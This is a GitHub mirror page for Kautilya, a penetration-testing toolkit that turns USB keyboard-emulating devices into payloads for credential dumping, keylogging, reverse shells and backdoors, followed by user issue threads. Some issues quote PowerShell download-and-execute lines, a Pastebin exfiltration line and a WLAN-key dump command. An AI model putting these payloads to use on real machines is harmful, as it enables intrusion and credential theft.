Giter Site home page Giter Site logo

samratashok / kautilya Goto Github PK

View Code? Open in Web Editor NEW
847.0 112.0 270.0 447 KB

Kautilya - Tool for easy use of Human Interface Devices for offensive security and penetration testing.

License: Other

Ruby 6.29% PowerShell 83.57% Processing 2.95% Arduino 7.19%

kautilya's Introduction

Kautilya

Kautilya is a toolkit which provides various payloads for a Human Interface Device which may help in breaking in a computer during penetration tests.

By nikhil_mitt

List of Payloads
Windows
Gather
  • Gather Information
  • Hashdump and Exfiltrate
  • Keylog and Exfiltrate
  • Sniffer
  • WLAN keys dump
  • Get Target Credentials
  • Dump LSA Secrets
  • Dump passwords in plain
  • Copy SAM
  • Dump Process Memory
  • Dump Windows Vault Credentials
Execute
  • Download and Execute
  • Connect to Hotspot and Execute code
  • Code Execution using Powershell
  • Code Execution using DNS TXT queries
  • Download and Execute PowerShell Script
  • Execute ShellCode
  • Reverse TCP Shell
Backdoor
  • Sethc and Utilman backdoor
  • Time based payload execution
  • HTTP backdoor
  • DNS TXT Backdoor
  • Wireless Rogue AP
  • Tracking Target Connectivity
  • Gupt Backdoor
Escalate
  • Remove Update
  • Forceful Browsing
Manage
  • Add an admin user
  • Change the default DNS server
  • Edit the hosts file
  • Add a user and Enable RDP
  • Add a user and Enable Telnet
  • Add a user and Enable Powershell Remoting
Drop Files
  • Drop a MS Word File
  • Drop a MS Excel File
  • Drop a CHM (Compiled HTML Help) file
  • Drop a Shortcut (.LNK) file
  • Drop a JAR file
Misc
  • Browse and Accept Java Signed Applet
  • Speak on Target
Linux
  • Download and Execute
  • Reverse Shells using built in tools
  • Code Execution
  • DNS TXT Code Execution
  • Perl reverse shell (MSF)
OSX
  • Download and Execute
  • DNS TXT Code Execution
  • Perl Reverse Shell (MSF)
  • Ruby Reverse Shell (MSF)
Payloads Compatibility
  • The Windows payloads and modules are written mostly in powershell (in combination with native commands) and are tested on Windows 7 and Windows 8.

  • The Linux payloads are mostly shell scripts (those installed by default) in combination with commands. These are tested on Ubuntu 11.

  • The OS X payloads are shell scripts (those installed by default) with usage of native commands. Tested on OS X Lion running on a VMWare

Usage

Run kautilya.rb and follow the menus. Kautilya asks for your inputs for various options. The generated payload is copied to the output directory of Kautilya.

The generated payload is an arduino sketch, ready to be used with Arduino IDE. Burn it to Human Interface Device of your choice and have fun!

Supported Human Interface Devices

In principal Kautilya should work with any HID capable of acting as a keyboard. Kautilya has been tested on Teensy++2.0 and Teensy 3.0 from pjrc.com. Updates about Kautilya can be found most of the times at my blog http://labofapenetrationtester.com/ and google group.

User Group

For any queries, discussions and feedback, post to official google group http://groups.google.com/group/kautilya-users or mail me at nikhil d0t uitrgpv at gmail.com

Bugs and Feature requests

Raise an issue or post to the google group.

Dependencies

Kautilya needs colored, highline and artii (and win32console on Windows) gems. Use

bundle install

to install all the required gems.

Contributing

If you code in Ruby, you can contribute by helping in rebuilding UI of Kautilya. I am trying to make it an interactive shell based tool unlike the current menus based UI.

I am always looking for contributors to Kautilya. Please submit requests or drop me email.

Blog Posts

A five part blog post on my blog could be useful for those new to HID and Kautilya:

Part 1: http://labofapenetrationtester.blogspot.in/2012/04/teensy-usb-hid-for-penetration-testers.html

Part 2: http://labofapenetrationtester.blogspot.in/2012/04/teensy-usb-hid-for-penetration-testers_04.html

Part 3: http://labofapenetrationtester.blogspot.in/2012/04/teensy-usb-hid-for-penetration-testers_25.html

Part 4: http://labofapenetrationtester.blogspot.in/2012/05/teensy-usb-hid-for-penetration-testers.html

Part 5: http://labofapenetrationtester.blogspot.in/2012/09/usb-hid-for-pen-testers-part5.html

All posts related to Kautilya http://www.labofapenetrationtester.com/search/label/Kautilya

Credits

Due Credits and Borrowed Code: I do not put credits of any borrowed code inside the payloads generated by Kautilya to save space. Credits and thanks are generally mentioned either in the description of payloads or accompanying blog post. If you think I missed any due credit, please let me know. I will add the credits with apologies.

kautilya's People

Contributors

espreto avatar samratashok avatar vezaynk avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

kautilya's Issues

Add support for Digispark

As title suggest, Could you please add support for Digispark? I tried this code on Digispark but no luck.

I think there is something to do with Keyboard library used in your code.

output directory

Hi, the output directory to write the speak.ino or ther ino files doesn't exist and it isn't created when trying to write into it.

Tested: Linux ubuntu 64bit

Issue with Teensy 3 and Arduino IDE 1.6.x(1 & 3)

Hello,

I tried several Windows payloads and the code to upload to pastebin seems to have an issue:

  • lines like this
    " Keyboard.print("echo pht "https://pastebin.com/api/api_login.php\" "api_dev_key=$dev&api_user_name=$user&api_user_password=$pass" >> %temp%");
    Keyboard.print(filename);
    "
    Always generate a compile error:
    Arduino: 1.6.3 (Linux), TD: 1.22-beta4, Board: "Teensy 3.1, Keyboard + Mouse + Joystick, 96 MHz optimized (overclock), US English"

info.pde:320:20: warning: missing terminating " character [enabled by default]
info:320: error: missing terminating " character
[...]
info.pde: In function 'void pastebin(String)':
info:321: error: expected ')' before ';' token
expected ')' before ';' token

In short there is an issue with the escaping in that string but I can't figure it out.
If I comment out the Keyboard.print line it compiles and uploads.
I narrowed it down to the https:// part of the string - if I remove // it compiles but it won't work obviously.
For the life of me I can't tell what is wrong with that string.

Error in lib/src/exfilmethodsdefs ?

Hi,
first of all thanks for developing Kautilya and for making it freely available!!
I noticed that there may be an error in efilmethodsdefs file and, specifically at line number 99 where you have

Keyboard.print("echo $att = new-object Net.Mail.Attachment("");

while it should be

Keyboard.print("echo $att = new-object Net.Mail.Attachment("")");

am I right?

regards,
Valerio

Reduce space in memory of payloads

I have had a problem with the one of the payload in a small board, I reduced the memory using F("string"); in every command string. Example: Keyboard.println(F("exit")); I think it would be great to add that to the code when it generates.

download_exec.pde terminating with an error

I just found out that download_exec.pde fails telling me the following:

Method invocation failed because [System.Net.WebClient] does not contain a method named 'dlString'.

Seems as if there's no such method but there's a method called DownloadFile.

So I changed the download process to the following, and now it's working:

Keyboard.println("echo $wc = New-Object System.Net.WebClient > %temp%\dl.ps1");
Keyboard.println("echo $destination = "$env:temp\svcde.exe" >> %temp%\dl.ps1");
Keyboard.println("echo $url = "http://live.sysinternals.com/autoruns.exe\" >> %temp%\dl.ps1");
Keyboard.println("echo $wc.DownloadFile($url, $destination) >> %temp%\dl.ps1");
Keyboard.println("echo start-process -nonewwindow "%TEMP%\svcde.exe" >> %temp%\dl.ps1");

Permanent errors on any meny

Looks like:
` 1. Add an admin user
2. Change the default DNS server
3. Edit the hosts file
4. Add a user and Enable RDP
5. Add a user and Enable Telnet
6. Add a user and Enable Powershell Remoting

  1. Go back to Main Menu

Kautilya> 4

This payload adds an Administrative User, Starts RDP Service and adds exception to Windows firewall.

Kautilya> Enter Username for the user to be added: Tester

Kautilya>Enter password for the user to be added: ******

Kautilya> Select the board type you want to use: Teesny++ 2.0 (Press 2), Teensy 3 (Press 3): 3
d:/Down/Penetration/Kautilya-0.5.5/lib/src/methods.rb:39:in initialize': No such file or directory @ rb_sysopen - D:/Down/Penetration/Kautilya-0.5.5/output/enable_rdp.pde (Errno::ENOENT) from d:/Down/Penetration/Kautilya-0.5.5/lib/src/methods.rb:39:in new'
from d:/Down/Penetration/Kautilya-0.5.5/lib/src/methods.rb:39:in search_replace' from d:/Down/Penetration/Kautilya-0.5.5/lib/src/methods.rb:151:in enable_rdp'
from D:/Down/Penetration/Kautilya-0.5.5/kautilya.rb:188:in <main>'

cannot start kautilya.

hi,
I installed ruby on windows 7 and tried to start the kautilya by the command
ruby kautilya.rb
and i get this error:

 C:\Users\Zion\Downloads\Kautilya-master\Kautilya-master>ruby kautilya.rb
C:/Ruby192/lib/ruby/site_ruby/1.9.1/rubygems/custom_require.rb:36:in `require':
no such file to load -- bundler/setup (LoadError)
        from C:/Ruby192/lib/ruby/site_ruby/1.9.1/rubygems/custom_require.rb:36:i
n `require'
        from kautilya.rb:3:in `<main>'

please help.

thanks in advance.

Powershell script

I tried the exe to text powershell script but it doesn't seem to work or maybe I am doing something wrong.
Can you explain the steps about how to execute the "Download and Execute" payload.
Thanks you.

Issue with wlan_key.ino

Hi,

Thanks for your toolset, it is very helpfull. When I tried to copy some of the wlan_key.ino code into a .ps1 file for testing, I noticed errors due to the following sentence:

" Keyboard.println("echo $w = netsh wlan show profiles ^| sls -Pattern "All User Profile" ^| foreach {$_.ToString()} >> %temp%\wl.ps1"); "

The error was "The term 'sls' is not recognized as the name of a cmdlet, function, script file, or operable program."

It seems that "sls" is unknown on the system I tested it on. It is a basic Win7 system with all current updates. I changed 'sls' to 'Select-String' and then it worked for me.

Error execution of payload "Windows Donwload & Execute"

Hi,
my compliments that is very useful.
During my tests I have found an issue with the payload for download and execute one file in windows.
This method use powershell and convert the text to exe.
Maybe some computer administrator can disable it.
For avoid this "issue" I change manually the output of your script and implement some others method.
I would like suggest to you to also add these method:
http://www.greyhathacker.net/?p=500

thank you,

Kautilya porting for Arduino Micro/Leonardo

Hi all,

I recently finished porting Kautilya for Arduino-Micro platform. In order to do this I:

Hope this can help supporting using Kautilya as a penetration testing tool.

best regards,
click

Keylog not stopping

When I set the value of my txt file on my web server to the string that is supposed to stop the keylogger, it completely ignores it and keeps logging. Any way to stop it?
I have my web server running and permissions are fine. The file can be reached just the program won't stop.
NOTE: The persistent reboot function is not working also.

Error when compiling with Arduino IDE

Hei,

I'm trying to upload code for credentials.ino and I have some struggles.
Any idea why I get compilation errors below?

Thanks in advance,

Arduino: 1.6.7 (Windows 8.1), TD: 1.27, Board: "Teensy 2.0, Keyboard + Mouse + Joystick, 16 MHz, US English"

C:\Program Files (x86)\Arduino\arduino-builder -dump-prefs -logger=machine -hardware "C:\Program Files (x86)\Arduino\hardware" -hardware "C:\Users\vpetrache\AppData\Local\Arduino15\packages" -tools "C:\Program Files (x86)\Arduino\tools-builder" -tools "C:\Program Files (x86)\Arduino\hardware\tools\avr" -tools "C:\Users\vpetrache\AppData\Local\Arduino15\packages" -built-in-libraries "C:\Program Files (x86)\Arduino\libraries" -libraries "C:\Users\vpetrache\Documents\Arduino\libraries" -fqbn=teensy:avr:teensy2:usb=hid,speed=16,keys=en-us -ide-version=10607 -build-path "C:\Users\VPETRA1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp" -warnings=all -prefs=build.warn_data_percentage=75 -verbose "C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino"
C:\Program Files (x86)\Arduino\arduino-builder -compile -logger=machine -hardware "C:\Program Files (x86)\Arduino\hardware" -hardware "C:\Users\vpetrache\AppData\Local\Arduino15\packages" -tools "C:\Program Files (x86)\Arduino\tools-builder" -tools "C:\Program Files (x86)\Arduino\hardware\tools\avr" -tools "C:\Users\vpetrache\AppData\Local\Arduino15\packages" -built-in-libraries "C:\Program Files (x86)\Arduino\libraries" -libraries "C:\Users\vpetrache\Documents\Arduino\libraries" -fqbn=teensy:avr:teensy2:usb=hid,speed=16,keys=en-us -ide-version=10607 -build-path "C:\Users\VPETRA
1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp" -warnings=all -prefs=build.warn_data_percentage=75 -verbose "C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino"
"C:\Program Files (x86)\Arduino\hardware\tools\avr/../avr/bin/avr-g++" -E -CC -x c++ -w -g -Wall -ffunction-sections -fdata-sections -fno-exceptions -felide-constructors -std=c++0x -mmcu=atmega32u4 -DTEENSYDUINO=127 -DARDUINO=10607 -DF_CPU=16000000L -DARDUINO_ARCH_AVR -DUSB_HID -DLAYOUT_US_ENGLISH "-IC:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy" "C:\Users\VPETRA1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp\sketch\credentials.ino.cpp" -o "nul"
"C:\Program Files (x86)\Arduino\hardware\tools\avr/../avr/bin/avr-g++" -E -CC -x c++ -w -g -Wall -ffunction-sections -fdata-sections -fno-exceptions -felide-constructors -std=c++0x -mmcu=atmega32u4 -DTEENSYDUINO=127 -DARDUINO=10607 -DF_CPU=16000000L -DARDUINO_ARCH_AVR -DUSB_HID -DLAYOUT_US_ENGLISH "-IC:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy" "C:\Users\VPETRA
1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp\sketch\credentials.ino.cpp" -o "nul"
"C:\Program Files (x86)\Arduino\hardware\tools\avr/../avr/bin/avr-g++" -E -CC -x c++ -w -g -Wall -ffunction-sections -fdata-sections -fno-exceptions -felide-constructors -std=c++0x -mmcu=atmega32u4 -DTEENSYDUINO=127 -DARDUINO=10607 -DF_CPU=16000000L -DARDUINO_ARCH_AVR -DUSB_HID -DLAYOUT_US_ENGLISH "-IC:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy" "C:\Users\VPETRA1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp\sketch\credentials.ino.cpp" -o "C:\Users\VPETRA1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp\preproc\ctags_target_for_gcc_minus_e.cpp"
"C:\Program Files (x86)\Arduino\tools-builder\ctags\5.8-arduino5/ctags" -u --language-force=c++ -f - --c++-kinds=svpf --fields=KSTtzns --line-directives "C:\Users\VPETRA1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp\preproc\ctags_target_for_gcc_minus_e.cpp"
"C:\Program Files (x86)\Arduino\hardware\tools\avr/../avr/bin/avr-g++" -c -Os -g -Wall -ffunction-sections -fdata-sections -MMD -fno-exceptions -felide-constructors -std=c++0x -mmcu=atmega32u4 -DTEENSYDUINO=127 -DARDUINO=10607 -DF_CPU=16000000L -DARDUINO_ARCH_AVR -DUSB_HID -DLAYOUT_US_ENGLISH "-IC:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy" "C:\Users\VPETRA
1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp\sketch\credentials.ino.cpp" -o "C:\Users\VPETRA1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp\sketch\credentials.ino.cpp.o"
In file included from C:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy/usb_api.h:4:0,
from C:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy/WProgram.h:22,
from C:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy/Arduino.h:1,
from C:\Users\VPETRA
1\AppData\Local\Temp\build22ea799d41487c028ca504b22fecaa1e.tmp\sketch\credentials.ino.cpp:1:
C:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy/../usb_hid/usb_api.h:75:16: error: previous declaration of 'uint8_t joystick_report_data [12]' with 'C++' linkage
extern uint8_t joystick_report_data[12];
^
In file included from C:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy/usb_private.h:4:0,
from C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:3:
C:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy/../usb_hid/usb_private.h:130:39: error: conflicts with new declaration with 'C' linkage
extern uint8_t joystick_report_data[12];
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino: In function 'void setup()':
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:41:19: warning: comparison with string literal results in unspecified behaviour [-Waddress]
if ("gmail" == "pastebin")
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:45:23: warning: comparison with string literal results in unspecified behaviour [-Waddress]
else if ("gmail" == "gmail")
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:56:23: warning: comparison with string literal results in unspecified behaviour [-Waddress]
else if ("gmail" == "post")
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:60:23: warning: comparison with string literal results in unspecified behaviour [-Waddress]
else if ("gmail" == "dns")
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino: In function 'void wait_for_drivers(int)':
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:82:32: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_key1(KEY_CAPS_LOCK);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:91:32: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_key1(KEY_CAPS_LOCK);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino: In function 'bool cmd_admin(int, int)':
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:109:44: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:116:39: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_modifier(MODIFIERKEY_CTRL);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:118:59: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:120:28: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_key1(KEY_ENTER);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:132:1: warning: no return statement in function returning non-void [-Wreturn-type]
}
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino: In function 'bool cmd(int, int, char*)':
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:138:44: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:139:24: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_key1(KEY_R);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:148:28: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_key1(KEY_ENTER);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:157:1: warning: no return statement in function returning non-void [-Wreturn-type]
}
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino: In function 'void make_sure_capslock_is_off()':
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:164:32: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_key1(KEY_CAPS_LOCK);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino: In function 'bool check_for_capslock_success_teensy(int, int)':
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:198:28: warning: comparison between signed and unsigned integer expressions [-Wsign-compare]
while (!is_caps_on() && (i<reps));
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino: In function 'void minimise_windows()':
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:204:44: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:205:24: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_key1(KEY_M);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino: In function 'void send_left_enter()':
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:228:29: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_key1(KEY_LEFT);
^
C:\Users\vpetrache\Downloads\Kautilya-master\output\credentials\credentials.ino:234:30: warning: large integer implicitly truncated to unsigned type [-Woverflow]
Keyboard.set_key1(KEY_ENTER);
^
exit status 1
Error compiling.

kautilya.rb

Line 178, wrong function call. Replace:
user_add()
to
windows_add_user()

expected ')' before ';' token

Hi everyone!
I need your help. Please tell me what I doing wrong. I have an error when I trying upload (check the code) to the teensy. Code generated by Kautilya.
Regards.

2015-05-15 22 39 06

speak.ino

Line 17 sentence is not correctly passed, replace:

... .speak("sentece") > ...
to
... .speak("INPUT0") > ...

btw: Great job!!!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.